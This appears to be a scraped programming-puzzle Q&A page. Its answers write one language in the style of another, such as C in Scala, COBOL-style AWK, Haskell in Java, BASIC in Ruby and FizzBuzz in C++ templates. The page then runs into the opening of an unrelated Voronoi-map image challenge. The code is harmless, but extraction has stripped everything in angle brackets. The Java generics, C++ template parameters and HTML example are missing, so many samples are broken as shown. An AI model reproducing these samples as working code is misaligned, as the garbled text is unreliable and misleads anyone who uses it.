dc. You may see here well-known keywords like `for`, `if`, `or`, `in`, but only the letters matter! The `,` which has no meaning in dc is turned to a register because the first time it appears is after the letter `s` (the same for `:`).\n[Answer]\nC++ allows you to write lisp-like code, with the InteLib library:\n```\n(L|DEFUN, ISOMORPHIC, (L|TREE1, TREE2),\n (L|COND, \n (L|(L|ATOM, TREE1), (L|ATOM, TREE2)),\n (L|(L|ATOM, TREE2), NIL),\n (L|T, (L|AND,\n (L|ISOMORPHIC, (L|CAR, TREE1), \n (L|CAR, TREE2)),\n (L|ISOMORPHIC, (L|CDR, TREE1), \n (L|CDR, TREE2))\n )))).Evaluate();\n```\ncf. \n[Answer]\n# C# in Whitespace\nOkay, first try at one of these, so let's see how it goes. \n```\nusing System; //very important \nnamespace ConsoleApplication1 //namespace: name whatever you want \n{ \n //start \n class Program //class name: also anything \n {\n //main function \n static void Main(string[] args) {\n for(int i=0;i<10;i++) writeOutput(i); \n } //end main \n static void writeOutput(int i) { Console.WriteLine(i); } //display output \n } //class ends here \n} //close namespace: also very important \n//yay!\n```\nAnd in case the formatting went screwy from having to put four spaces at the front of each line, here it is again with . for space and # for tab:\n```\nusing.System;.//very.important#\nnamespace.ConsoleApplication1..//namespace:#name.whatever.you.want##\n{.\n.//start#\n.class#Program..//class.name:#also.anything#.\n#{\n....//main.function#\n#static.void.Main(string[].args).{\n....#for(int.i=0;i<10;i++)#writeOutput(i);#\n#}.//end.main#\n#static.void.writeOutput(int#i).{.Console.WriteLine(i);.}#//display.output#\n.\n.#}.//class.ends.here.##\n}..//close.namespace:#also.very.important#.#\n.\n//yay!\n```\n[Answer]\n# HTML and CSS\nNot programming languages, but … this document is valid HTML *and* CSS:\n```\n\n\nThis is HTML and CSS\n

Hi!

\n\n```\n```\n\n\nThis is HTML and CSS\n

Hi!

\n\n```\nThis works, because HTML comments are allowed in stylesheets for historical reasons. Oh, and every valid HTML document is a valid PHP program too, so this is also **PHP**. :)\n[Answer]\n# C in Scala\nThe bridging layer emulates a more romantic era when strings were still null terminated arrays of bytes. \n```\n// Scala is a dynamic language\nimport scala.language.{ dynamics, postfixOps }\nval self = this\nval argc = args.length\nval argv = args.map(_.getBytes)\ntype char = Array[Byte]\nobject char extends Dynamic {\n // This program uses expanded memory\n val buffers = new scala.collection.mutable.LinkedHashMap[String, char]\n // Malloc char buffer\n def applyDynamic(name: String)(length: Int) =\n buffers(name) = new Array(length)\n def **(argv: Array[Array[Byte]]) = argv\n}\nobject & extends Dynamic {\n // dereference char pointer\n def selectDynamic(name: String) = char.buffers(name)\n}\ndef printf(format: String, buffers: char*) =\n println(\n (format /: buffers){ case (msg, buffer) =>\n // Read string until \\0 terminator\n val value = new String(buffer.takeWhile(0 !=))\n // Replace next %s token\n msg.replaceFirst(\"%s\", value)\n }\n )\ndef scanf(format: String, buffers: char*) =\n buffers foreach { buffer =>\n val line = Console.readLine()\n // Write string to char* buffer\n line.getBytes(0, line.length, buffer, 0)\n // Remember to always null terminate your strings!\n buffer(line.length) = 0\n }\nval PATH_MAX = 4096\nimplicit class Argumenter(args: Pair[_, _]) {\n def apply[T](f: => T) = f\n}\nobject int {\n // Passthrough\n def main[T](f: => T) = f\n def argc = self.argc\n}\n// terminates the string after the first character\n// investigate switching to \"xor eax, eax\" instead of having a hardcoded 0\n// might save 3 bytes and valuable CPU time with this trick\nval initialize = (_: char)(1) = 0\ndef exit(value: Int) = sys.exit(value)\n```\n```\n// ---HOMEWORK-ASSIGNMENT-START---\nint main(int argc, char **argv) {\n if (argc != 0) {\n printf(\"This program does not take parameters!\");\n exit(1);\n }\n // I've copy pasted this code from somewhere\n // Code reuse is essential if we want to be DRY\n char first(PATH_MAX + 1);\n char last(PATH_MAX + 1);\n printf(\"Enter your first and last name:\\n\");\n scanf(\"%s%s\", &first, &last);\n // Still learning references, do I need these here?\n // I've performed benchmarks on printf and I think it's faster this way\n printf(\"Your full name is %s %s\", &first, &last);\n initialize(&first);\n printf(\"Your signature is %s. %s\", &first, &last);\n exit(0);\n}\n```\n[Answer]\n# sed and APL\nMy boss wants me to write sed scripts, but I like rather writing APL all the day. Nevertheless, he is very happy with my job because such scripts run perfectly with his version of sed:\n```\ni ← g ← 42\na ← d ← 10\ns/s←2⊤42/s←2⊤43/g\ns/s[01]*1/s⊣1/g\ng\n```\nYou can try it on my new [website](http://baruchel.hd.free.fr/apps/apl/) with this [permalink](http://baruchel.hd.free.fr/apps/apl/#code=i%20%E2%86%90%20g%20%E2%86%90%2042%0Aa%20%E2%86%90%20d%20%E2%86%90%2010%0As%2Fs%E2%86%902%E2%8A%A442%2Fs%E2%86%902%E2%8A%A443%2Fg%0As%2Fs%5B01%5D%2a1%2Fs%E2%8A%A31%2Fg%0Ag). It is a compiled to javascript version of GNU APL. Final release will be later with official release of GNU APL, v. 1.3 but you can perfectly use it for your permalinks if you enjoy GNU APL.\n[Answer]\n# C in Haskell\n```\nimport Foreign.C.String\nimport Foreign.C.Types\nimport Foreign.Marshal.Array\nimport Foreign.Ptr\nimport System.Environment\nimport System.Exit\n-- The meat of the program\ncmain :: (CInt, Ptr (Ptr CChar)) -> IO CInt\ncmain(argc, argv) = do {\n putStr(\"hello, world\\n\");\n return 0;\n}\n-- Of course, the above function doesn't do anything unless we write a wrapper\n-- around it. This could have been done more simply, using higher-level library\n-- functions, but where's the fun in that?\nmain :: IO ()\nmain = do {\n args <- getArgs;\n argPtrs <- sequence [do {\n argPtr <- mallocArray0(length(arg)) :: IO (Ptr CChar);\n pokeArray0(0)(argPtr)(map(castCharToCChar)(arg));\n return argPtr;\n } | arg <- args ];\n argv <- mallocArray(length(argPtrs)) :: IO (Ptr (Ptr CChar));\n pokeArray(argv)(argPtrs);\n exitCode <- cmain(fromIntegral(length(args)),argv);\n if (exitCode == 0) then do {\n exitWith(ExitSuccess);\n } else do {\n exitWith(ExitFailure(fromIntegral(exitCode)));\n };\n}\n```\nOf course, since `cmain` doesn't do anything with `argc` or `argv`, the argument-marshaling code has no effect, and since `cmain` always returns 0, the \"else\" branch of the \"if\" statement is dead. But the \"if\" statement doesn't do anything anyway.\nAll of the braces and semicolons are unnecessary, as are most of the parentheses and some of the `do` keywords. The \"if\" statement could have been written as `if exitCode == 0 then exitWith ExitSuccess else exitWith (ExitFailure (fromIntegral exitCode))`.\n[Answer]\n## C++ in Forth\n```\n: #include ; : ; : { ; : } ; : int ; : using ;\n: namespace ; : std; ; : main() ; : cout ; : << ;\n: \"Hello, ; : world!\\n\"; S\" Hello, world!\" type ; : return ; : 0; ;\n#include \nusing namespace std;\nint main() {\n cout << \"Hello, world!\\n\";\n}\n```\nNot the most flexible solution, but it works if written exactly as shown.\n[Answer]\n# Haskell in Java\n(\"vanilla\" Java 7, not Java 8) (Yes, I know that boxing ruins performance; and even trying to use higher order functions gets crazy verbose :D)\nJava has very rigid syntax, so instead of changing syntax I tried to make code semantically more similar to Haskell style.\nEdit — added partial function application.\n```\nimport java.util.Iterator;\ninterface Function1 {\n A call(B arg);\n}\ninterface Function2 {\n A call(B arg1, C arg2);\n}\nclass Reduce implements Function2, Iterable> {\n @Override\n public A call(Function2 arg1, Iterable arg2) {\n final Iterator i = arg2.iterator();\n A r = i.next();\n while (i.hasNext())\n r = arg1.call(r, i.next());\n return r;\n }\n}\nclass Range implements Iterable {\n private final int min;\n private final int max;\n public Range(int min, int max) {\n this.min = min;\n this.max = max;\n }\n @Override\n public Iterator iterator() {\n return new Iterator() {\n int i = min;\n @Override\n public boolean hasNext() {\n return i <= max;\n }\n @Override\n public Integer next() {\n return i++;\n }\n @Override\n public void remove() {\n throw new UnsupportedOperationException();\n }\n };\n }\n}\npublic class Main {\n public static Function1 applyPartial(final Function2 f, final B arg2) {\n return new Function1() {\n @Override\n public A call(C arg) {\n return f.call(arg2, arg);\n }\n };\n }\n public static void main(String[] args) {\n final Function1> product = applyPartial(new Reduce(), new Function2() {\n @Override\n public Integer call(Integer arg1, Integer arg2) {\n return arg1 * arg2;\n }\n });\n final Function1 fact = new Function1() {\n @Override\n public Integer call(Integer arg) {\n return product.call(new Range(1, arg));\n }\n };\n final Integer x = fact.call(6);\n System.out.println(x.toString());\n }\n}\n```\n(Yes, all that this madness does is computing `6!`)\n[Answer]\n**COBOL in AWK**\nIn the spirit of the quote. Pure, unadulterated AWK, as it may be written by a COBOL programmer.\nThe task is to count the records on a file. This early development version is counting itself for testing. The correct file will be hard-coded later when released from Unit Testing...\nIf I could get the syntax highlighting to do phosphorescent-green on black, it would be great...\nEven got the column-numbers correct on this one, that's seven blanks at the start of each line (never done that in awk before) and breaking the long print statements at column 72.\n```\n BEGIN { \n PERFORM_000_INITIALISATION() \n PERFORM_100_OPEN_FILES() \n PERFORM_200_PROCESS_FILE() \n PERFORM_300_CLOSE_FILES() \n PERFORM_400_SHOW_THE_COUNTS() \n exit \n } \n function PERFORM_000_INITIALISATION() { \n INPUT_FILE_NAME = \"COBOL.AWK\" \n RECORD_COUNT = 0 \n } \n function PERFORM_100_OPEN_FILES() { \n } \n function PERFORM_200_PROCESS_FILE() { \n PERFORM_210_PRIMING_READ() \n PERFORM_220_PROCESS_INPUT_UNTIL_END() \n } \n function PERFORM_300_CLOSE_FILES() { \n } \n function PERFORM_400_SHOW_THE_COUNTS() { \n print \"COBOL.AWK: NUMBER OF RECORDS READ IS \" RECORD_COUNT \n } \n function PERFORM_210_PRIMING_READ() { \n PERFORM_900_READ_THE_FILE() \n if ( FILE_STATUS < 0 ) { \n print \"COBOL.AWK ERR0001: INVALID FILE, HALTING, FILE N\" \\\n \"AME IS: \" INPUT_FILE_NAME \n exit \n } \n if ( FILE_STATUS == 0 ) { \n print \"COBOL.AWK ERR0002: NO RECORDS ON INPUT, HALTING,\" \\\n \"FILE NAME IS: \" INPUT_FILE_NAME \n exit \n } \n } \n function PERFORM_220_PROCESS_INPUT_UNTIL_END() {\n while ( FILE_STATUS != 0 ) { \n INPUT_RECORD = $0 \n RECORD_COUNT = RECORD_COUNT + 1 \n PERFORM_900_READ_THE_FILE() \n } \n } \n function PERFORM_900_READ_THE_FILE() { \n FILE_STATUS = getline < INPUT_FILE_NAME \n } \n```\n[Answer]\n## SML in Java\nI still have some ancient code around from when I started learning Java and tried to use it in a functional style. Slightly cleaned up:\n```\n/**\n * Genericised ML-style list.\n */\npublic class FunctionalList \n{\n private final T head;\n private final FunctionalList tail;\n public FunctionalList(T x, FunctionalList xs) {\n this.head = x;\n this.tail = xs;\n }\n public static FunctionalList cons(T x, FunctionalList xs) {\n return new FunctionalList(x, xs);\n }\n public static T hd(FunctionalList l) {\n return l.head;\n }\n public static FunctionalList tl(FunctionalList l) {\n return l.tail;\n }\n public static int length(FunctionalList l) {\n return len(l, 0);\n }\n private static int len(FunctionalList l, int n) {\n return l == null ? n : len(tl(l), n + 1);\n }\n public static FunctionalList rev(FunctionalList l) {\n return rev(l, null);\n }\n private static FunctionalList rev(FunctionalList a, FunctionalList b) {\n return a == null ? b : rev(tl(a), cons(hd(a), b));\n }\n public static FunctionalList append(FunctionalList a, FunctionalList b) {\n return a == null ? b : cons(hd(a), append(tl(a), b));\n }\n}\n```\n[Answer]\n# Java in Perl\nMay count as rule breaking, but I don't care. Obviously, it's intended to look like Java program. It prints 20 Fibonacci numbers, in case it isn't obvious.\n> \n> Requires **Inline::Java** module to be installed.\n> \n> \n> \n```\nuse Inline Java => <<'JAVA';\n/**\n * @author Konrad Borowski <[[email protected]](/cdn-cgi/l/email-protection)>\n * @version 0.1.0\n */\nclass Fibonacci\n{\n /**\n * Responsible for storing the number before last generated number.\n */\n private long beforeLastNumber = 0;\n /**\n * Responsible for storing the last generated number.\n */\n private long lastNumber = 1;\n /**\n * Receives the next Fibonacci number.\n * \n * @return long integer that is the next Fibonacci number\n */\n public long next()\n {\n long temponaryLastNumber = lastNumber;\n lastNumber = beforeLastNumber + lastNumber;\n beforeLastNumber = temponaryLastNumber;\n return temponaryLastNumber;\n }\n /**\n * Outputs the Fibonacci number to standard output.\n */\n public void printFibonacci()\n {\n System.out.println(next());\n }\n /**\n * Outputs the Fibonacci number to standard output given number of\n * times.\n * \n * @param times number of times to print fibonacci number\n */\n public void printFibonacciTimes(int times)\n {\n int i;\n for (i = 0; i < times; i++) {\n printFibonacci();\n }\n }\n /**\n * Constructor for Fibonacci object. Does nothing.\n */\n public Fibonacci()\n {\n // Do nothing.\n }\n}\nJAVA\n###\n # The executable class that shows 20 Fibonacci numbers.\n ##\npackage OutputFibonacci\n{\n ###\n # Shows 20 Fibonacci numbers. This method is public,\n # static, and returns void.\n ##\n sub main()\n {\n # In Perl, -> is object method separator, not a dot. This is stupid.\n new Fibonacci()->printFibonacciTimes(20);\n }\n}\n# Perl doesn't automatically call main method.\nOutputFibonacci::main();\n```\n[Answer]\n## Brainfuck (or anything else) in Racket\nRacket's flexible module and macro system allows it to implement module support for entirely new languages, both domain-specific and general-purpose. There is out of the box support for both [Datalog](http://docs.racket-lang.org/datalog/index.html) and [Algol 60](http://docs.racket-lang.org/algol60/index.html), so the following are both valid Racket programs:\n```\n#lang datalog\nedge(a, b). edge(b, c). edge(c, d). edge(d, a).\npath(X, Y) :- edge(X, Y).\npath(X, Y) :- edge(X, Z), path(Z, Y).\npath(X, Y)?\n#lang algol60\nbegin\n integer procedure SIGMA(x, i, n);\n value n;\n integer x, i, n;\n begin\n integer sum;\n sum := 0;\n for i := 1 step 1 until n do\n sum := sum + x;\n SIGMA := sum;\n end;\n integer q;\n printnln(SIGMA(q*2-1, q, 7));\nend\n```\nYou can also add support for other languages: e.g. see [Danny Yoo's description](https://www.hashcollision.org/brainfudge/) of how to implement support for Brainfuck, which permits Racket programs such as: \n```\n#lang planet dyoo/bf\n++++++[>++++++++++++<-]>.\n>++++++++++[>++++++++++<-]>+.\n+++++++..+++.>++++[>+++++++++++<-]>.\n<+++[>----<-]>.<<<<<+++[>+++++<-]>.\n>>.+++.------.--------.>>+.\n```\nAnd since the support is added at the compiled module level, it's possible to link modules written in different languages or embed a snippet of one language inside a module written in another. \n[Answer]\n# J and... nobody will guess (edit: dc)\nThis is my second entry; here is a piece of valid J code, which returns 1:\n```\n10 o. 1 r. 2 i. 4 [ ( 0:`1: @. (2&|)) ] 8 #: *:@+: 42\n```\nI am waiting one or two day before telling which is the other language running the very same piece of code with no error. Just leave comments for trying to guess.\n**edit:** The other language is the stack-based language from the very ancient Unix calculator dc.\n[Answer]\n# dc running a PostScript file\ndc can run the following piece of code with no error:\n```\n10 10 10 10 10 42 32 10 10\nstop % first send a stop\n0 0 srand rand\nle pop pop 3.14 sin\nlt 2 3 lt and pop\nle 2 10 le xor\npop pop pop 1 0 0\n<< /sox 2 >> [ exch begin sox end ] aload\n3.14 floor\n```\n[Answer]\n# ML/(Strict) Haskell in Java\nThis is from an actual real project. It makes use of persistent immutable data structures and uses recursion even when not necessary. Actually, it's more like Kore (the language the project implements) in Java, but the style is basically the same as ML. But the philosophy of Kore is that the author shouldn't format his code, so none of the Java code is formatted either (it's autoformatted by eclipse).\n[drop n elements from a list](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/ListUtils.java#L226):\n```\n public static List drop(List l, Integer n) {\n return n == 0 ? l : drop(l.cons().tail, n - 1);\n }\n```\nIn ML/Haskell, where you'd pattern match to extract the head and tail, here you say `list.cons().x` and `list.cons().tail`.\n[insert an element in a list](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/ListUtils.java#L209):\n```\n public static List insert(List l, Integer i, T x) {\n if (i == 0)\n return cons(x, l);\n return cons(l.cons().x, insert(l.cons().tail, i - 1, x));\n }\n```\nList is [defined](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/List.java) literally how the algebraic datatype would be defined. Here is a version with the eclipse-generated boilerplate removed:\n```\npublic final class List {\n public static final class Nil {\n }\n public static final class Cons {\n public final T x;\n public final List tail;\n public Cons(T x, List tail) {\n if (x == null)\n throw new RuntimeException(\"null head\");\n if (tail == null)\n throw new RuntimeException(\"null tail\");\n this.x = x;\n this.tail = tail;\n }\n }\n private final Nil nil;\n private final Cons cons;\n private List(Nil nil, Cons cons) {\n this.nil = nil;\n this.cons = cons;\n }\n public boolean isEmpty() {\n return nil != null;\n }\n public Nil nil() {\n if (nil == null)\n throw new RuntimeException(\"not nil\");\n return nil;\n }\n public Cons cons() {\n if (cons == null)\n throw new RuntimeException(\"not cons\");\n return cons;\n }\n public static List cons(Cons cons) {\n if (cons == null)\n throw new RuntimeException(\"constructor received null\");\n return new List(null, cons);\n }\n public static List nil(Nil nil) {\n if (nil == null)\n throw new RuntimeException(\"constructor received null\");\n return new List(nil, null);\n }\n}\n```\n[Here](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/Map.java) is a map data structure implemented in terms of a [trie](https://en.wikipedia.org/wiki/Trie):\n```\npublic final class Map {\n private final Tree>> tree;\n // keys are sorted in reverse order so entrySet can use cons instead of append\n private final Comparer>>>> comparer =\n new PairLeftComparer>>>(\n new ReverseComparer(new CharacterComparer()));\n private Map(Tree>> tree) {\n this.tree = tree;\n }\n public static Map empty() {\n return new Map(new Tree>>(\n OptionalUtils.> nothing(),\n ListUtils\n .>>>> nil()));\n }\n public Optional get(K k) {\n Tree>> t = tree;\n for (char c : k.toString().toCharArray()) {\n Tree>> t2 = getEdge(t, c);\n if (t2 == null)\n return nothing();\n t = t2;\n }\n if (t.v.isNothing())\n return nothing();\n return some(t.v.some().x.y);\n }\n public Map put(K k, V v) {\n return new Map(put(tree, k.toString(), v, k));\n }\n private Tree>> put(\n Tree>> t, String s, V v, K k) {\n if (s.equals(\"\"))\n return new Tree>>(some(Pair.pair(k, v)),\n t.edges);\n char c = s.charAt(0);\n Tree>> t2 = getEdge(t, c);\n if (t2 == null)\n return new Tree>>(\n t.v,\n sort(\n cons(\n pair(\n c,\n put(new Tree>>(\n OptionalUtils.> nothing(),\n ListUtils\n .>>>> nil()),\n s.substring(1), v, k)), t.edges), comparer));\n return new Tree>>(t.v, sort(\n replace(pair(c, put(t2, s.substring(1), v, k)), t.edges), comparer));\n }\n private List>>>> replace(\n Pair>>> edge,\n List>>>> edges) {\n if (edges.cons().x.x.equals(edge.x))\n return cons(edge, edges.cons().tail);\n return cons(edges.cons().x, replace(edge, edges.cons().tail));\n }\n // I consider this O(1). There are a constant of 2^16 values of\n // char. Either way it's unusual to have a large amount of\n // edges since only ASCII chars are typically used.\n private Tree>> getEdge(\n Tree>> t, char c) {\n for (Pair>>> p : iter(t.edges))\n if (p.x.equals(c))\n return p.y;\n return null;\n }\n public Map delete(K k) {\n return new Map(delete(tree, k.toString()).x);\n }\n private Pair>>, Boolean> delete(\n Tree>> t, String k) {\n if (k.equals(\"\"))\n return pair(\n new Tree>>(\n OptionalUtils.> nothing(), t.edges), t.edges.isEmpty());\n char c = k.charAt(0);\n Tree>> t2 = getEdge(t, c);\n if (t2 == null)\n return pair(t, false);\n Pair>>, Boolean> p =\n delete(t2, k.substring(1));\n List>>>> edges = nil();\n for (Pair>>> e : iter(t.edges))\n if (!e.x.equals(c))\n edges = cons(e, edges);\n if (!p.y)\n return pair(\n new Tree>>(t.v, cons(pair(c, p.x),\n edges)), false);\n boolean oneEdge = t.edges.cons().tail.isEmpty();\n return pair(new Tree>>(t.v, edges), oneEdge\n && t.v.isNothing());\n }\n public static class Entry {\n public Entry(K k, V v) {\n this.k = k;\n this.v = v;\n }\n public final K k;\n public final V v;\n }\n public List> entrySet() {\n return entrySet(ListUtils.> nil(), tree);\n }\n private List> entrySet(List> l,\n Tree>> t) {\n if (!t.v.isNothing()) {\n Pair p = t.v.some().x;\n l = cons(new Entry(p.x, p.y), l);\n }\n for (Pair>>> e : iter(t.edges))\n l = entrySet(l, e.y);\n return l;\n }\n}\n```\nThe types start to take up as much space as the code. For example, in [put](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/Map.java#L53), the method has 302 characters of types and 343 characters of code (not counting space/newlines).\n[Answer]\n# BASIC in Ruby\nImplemented this long ago. The [source is on GitHub](https://github.com/duckinator/rbaysick). Inspired by a [similar thing in Scala](https://github.com/fogus/baysick)\n## Setup\n```\n#!/usr/bin/env ruby\nif caller.empty? && ARGV.length > 0\n $file = ARGV[0]\nelse\n $file = caller.last.split(':').first\nend\nrequire 'pp'\nclass String\n def %(other)\n self + other.to_s\n end\nend\nclass RBaysick\n @@variables = {}\n @@code = []\n @@line = 0\n def initialize(contents)\n $DONT_RUN = true # To avoid endless loops.\n contents.gsub!(/( |\\()'([^\\W]+)/, '\\1:\\2 ')\n contents.gsub!(/(^| |\\()(:[^\\W]+)/, '\\1GET(\\2)')\n contents.gsub!(/ IF (.*) THEN (.*)/, ' IF { \\1 }.THEN { GOTO \\2 }')\n contents.gsub!(/LET *\\(([^ ]+) *:= *(.*)\\)/, 'LET(\\1) { \\2 }')\n contents.gsub!(/(LET|INPUT)(\\(| )GET\\(/, '\\1\\2(')\n contents.gsub!(/ \\(/, '(')\n contents.gsub!(/^(\\d+) (.*)$/, 'line(\\1) { \\2 }')\n# contents.gsub!(/(\\)|\\}|[A-Z]) ([A-Z]+)/, '\\1.\\2')\n contents.gsub!(/ END /, ' __END ')\n contents.gsub!(/^RUN/, '__RUN')\n puts contents if $DEBUG\n eval contents\n end\n def __RUN\n while @@line > -1\n puts \"#{@@line}: #{@@code[@@line].inspect}\" if $DEBUG\n unless @@code[@@line].nil?\n @@increment = true\n @@code[@@line].call\n next unless @@increment\n end\n @@line += 1\n end\n end\n class If < Struct.new(:value)\n def THEN\n yield if value\n end\n end\n def method_missing(name, *args)\n puts \"Missing: #{name.to_s}(#{args.map(&:inspect).join(', ')})\" if $DEBUG\n end\n def variables\n @@variables\n end\n def line(line, &block)\n @@code[line] = block\n end\n def add(line, cmd, *args)\n puts \"DEBUG2: #{cmd.to_s}(#{args.map(&:inspect).join(', ')})\" if $DEBUG\n @@code[line] = send(cmd, *args)\n end\n def IF\n ::RBaysick::If.new(yield)\n end\n def PRINT(str)\n puts \"PRINT(#{str.inspect})\" if $DEBUG\n puts str\n true\n end\n def LET(name, &block)\n puts \"LET(#{name.inspect}, #{block.inspect})\" if $DEBUG\n @@variables[name] = block.call\n end\n def GET(name)\n puts \"GET(#{name.inspect}) #=> #{@@variables[name].inspect}\" if $DEBUG\n @@variables[name]\n end\n def INPUT(name)\n puts \"INPUT(#{name.inspect})\" if $DEBUG\n LET(name) { $stdin.gets.chomp.to_i }\n end\n def ABS(val)\n puts \"ABS(#{val.inspect}) #=> #{val.abs.inspect}\" if $DEBUG\n val.abs\n end\n def GOTO(line)\n @@increment = false\n @@line = line\n end\n def __END\n exit\n end\nend\nRBaysick.new(open($file).read) unless $DONT_RUN || ($0 != __FILE__)\n```\n## BASIC code\n```\n#!./rbaysick.rb\n10 PRINT \"Welcome to Baysick Lunar Lander v0.0.1\"\n20 LET ('dist := 100)\n30 LET ('v := 1)\n40 LET ('fuel := 1000)\n50 LET ('mass := 1000)\n60 PRINT \"You are a in control of a lunar lander.\"\n70 PRINT \"You are drifting towards the surface of the moon.\"\n80 PRINT \"Each turn you must decide how much fuel to burn.\"\n90 PRINT \"To accelerate enter a positive number, to decelerate a negative\"\n100 PRINT \"Distance \" % 'dist % \"km, \" % \"Velocity \" % 'v % \"km/s, \" % \"Fuel \" % 'fuel\n110 INPUT 'burn\n120 IF ABS('burn) <= 'fuel THEN 150\n130 PRINT \"You don't have that much fuel\"\n140 GOTO 100\n150 LET ('v := 'v + 'burn * 10 / ('fuel + 'mass))\n160 LET ('fuel := 'fuel - ABS('burn))\n170 LET ('dist := 'dist - 'v)\n180 IF 'dist > 0 THEN 100\n190 PRINT \"You have hit the surface\"\n200 IF 'v < 3 THEN 240\n210 PRINT \"Hit surface too fast (\" % 'v % \")km/s\"\n220 PRINT \"You Crashed!\"\n230 GOTO 250\n240 PRINT \"Well done\"\n250 END\nRUN\n```\n[Answer]\n# Haskell in C++ templates\nI made this FizzBuzz in C++ templates a few months ago on a lark. It is pretty much an implementation of the following Haskell code, all in C++ templates. In fact, even the integer arithmetic is reimplemented at the type level --- notice that none of the templates use int parameters!\nThe Haskell code:\n```\nimport Control.Monad\nm `divides` n = (n `mod` m == 0)\ntoFizzBuzz n\n | 15 `divides` n = \"FizzBuzz\"\n | 5 `divides` n = \"Buzz\"\n | 3 `divides` n = \"Fizz\"\n | otherwise = show n\nmain = mapM_ putStrLn $ take 100 $ map toFizzBuzz [1..]\n```\nand the C++ template metaprogramming version:\n```\n// \n// Lazy compile-time fizzbuzz computed by C++ templates,\n// without conditionals or the use of machine arithmetic.\n//\n// -- Matt Noonan ([[email protected]](/cdn-cgi/l/email-protection))\n#include \nusing namespace std;\n//\n// The natural numbers: Nat = Zero | Succ Nat\n//\ntemplate \nstruct Succ\n{\n typedef Succ eval;\n static const unsigned int toInt = 1 + n::toInt;\n static void print(ostream & o) { o << toInt; }\n};\nstruct Zero\n{\n typedef Zero eval;\n static const unsigned int toInt = 0;\n static void print(ostream & o) { o << toInt; }\n};\n//\n// Arithmetic operators\n// Plus Zero n = n\n// Plus Succ(n) m = Plus n Succ(m)\n// Times Zero n = Zero\n// Times Succ(n) m = Plus m (Times n m)\n//\ntemplate \nstruct Plus\n{\n typedef typename Plus::eval eval;\n};\ntemplate \nstruct Plus \n{ typedef typename M::eval eval; };\ntemplate \nstruct Plus , M>\n{ typedef typename Plus >::eval eval; };\ntemplate \nstruct Times\n{\n typedef typename Times::eval eval;\n};\ntemplate \nstruct Times \n{ typedef Zero::eval eval; };\ntemplate \nstruct Times , M>\n{ typedef typename Plus::eval\n >::eval eval; };\n//\n// Lists\n//\nstruct Nil\n{\n typedef Nil eval;\n static void print(ostream & o) { }\n};\ntemplate \nstruct Cons\n{\n typedef Cons eval;\n static void print(ostream & o) {\n x::eval::print(o); o << endl; xs::eval::print(o);\n }\n};\n//\n// Take the first n elements of a list\n//\ntemplate struct Take;\ntemplate struct Take\n{ typedef Nil eval; };\ntemplate \nstruct Take, Cons >\n{\n typedef Cons > eval;\n};\ntemplate \nstruct Take\n{\n typedef typename Take::eval eval;\n};\n//\n// Iterate f x0 makes the infinite list\n// x0, f(x0), f(f(x0)), ...\n//\ntemplate class f, typename x0> struct Iterate\n{\n typedef Cons > > eval;\n};\n//\n// Map a function over a list\n//\ntemplate class a, typename b> struct Map\n{ typedef typename Map::eval eval;\n};\ntemplate class f>\nstruct Map\n{ typedef Nil eval; };\ntemplate class f, typename x, typename xs>\nstruct Map >\n{\n typedef Cons, Map > eval;\n};\n//\n// Some useful things for making fizzes and buzzes\n//\nstruct Fizz\n{ static void print(ostream & o) { o << \"Fizz\"; } };\nstruct Buzz\n{ static void print(ostream & o) { o << \"Buzz\"; } };\nstruct FizzBuzz\n{ static void print(ostream & o) { o << \"FizzBuzz\"; } };\n//\n// Some useful numbers\n//\ntypedef Succ One;\ntypedef Succ Two;\ntypedef Succ Three;\ntypedef Plus Five;\ntypedef Times Ten;\ntypedef Times Fifteen;\ntypedef Times OneHundred;\n//\n// Booleans\n//\nstruct True {};\nstruct False {};\n//\n// If/then/else\n//\ntemplate \nstruct If\n{\n typedef typename If::eval eval;\n static void print(ostream & o) { eval::print(o); }\n};\ntemplate \nstruct If\n{\n typedef t eval;\n};\ntemplate \nstruct If\n{ typedef f eval; };\n//\n// Testing if x divides y\n//\ntemplate \nstruct _Divides\n{\n typedef typename _Divides::eval eval;\n};\ntemplate \nstruct _Divides<_, __, Zero> { typedef False eval; };\ntemplate \nstruct _Divides { typedef True eval; };\ntemplate \nstruct _Divides\n{\n typedef typename _Divides::eval eval;\n};\ntemplate \nstruct _Divides<_, Succ, Succ >\n{\n typedef typename _Divides<_, n, m>::eval eval;\n};\ntemplate \nstruct Divides\n{\n typedef typename _Divides::eval eval;\n};\n//\n// \"Otherwise\" sugar\n//\ntemplate \nstruct Otherwise\n{\n typedef typename a::eval eval;\n static void print(ostream & o) { a::eval::print(o); }\n};\n//\n// Convert a number to fizzes, buzzes as appropriate\n//\ntemplate \nstruct toFizzBuzz\n{\n typedef typename\n If< Divides, FizzBuzz,\n If< Divides< Five, n>, Buzz,\n If< Divides< Three, n>, Fizz,\n Otherwise< n\n > > > >::eval eval;\n};\nint main(void)\n{\n // Make all of the natural numbers\n typedef Iterate Naturals;\n // Apply fizzbuzz rules to every natural number\n typedef Map FizzBuzzedNaturals;\n // Print out the first hundred fizzbuzzed numbers\n Take::eval::print(cout);\n return 0;\n}\n```\n]"}}},{"rowIdx":45,"cells":{"text":{"kind":"string","value":"[Question]\n [\n*Credits to Calvin's Hobbies for nudging my challenge idea in the right direction.*\nConsider a set of points in the plane, which we will call **sites**, and associate a colour with each site. Now you can paint the entire plane by colouring each point with the colour of the closest site. This is called a Voronoi map (or [Voronoi diagram](http://en.wikipedia.org/wiki/Voronoi_diagram)). In principle, Voronoi maps can be defined for any distance metric, but we'll simply use the usual Euclidean distance `r = √(x² + y²)`. *(**Note:** You do not necessarily have to know how to compute and render one of these to compete in this challenge.)*\nHere is an example with 100 sites:\n![enter image description here](https://i.stack.imgur.com/9v7DT.png)\nIf you look at any cell, then all points within that cell are closer to the corresponding site than to any other site.\nYour task is to approximate a given image with such a Voronoi map. You're given the image in any convenient raster graphics format, as well as an integer **N**. You should then produce up to **N** sites, and a colour for each site, such that the Voronoi map based on these sites resembles the input image as closely as possible.\nYou can use the Stack Snippet at the bottom of this challenge to render a Voronoi map from your output, or you can render it yourself if you 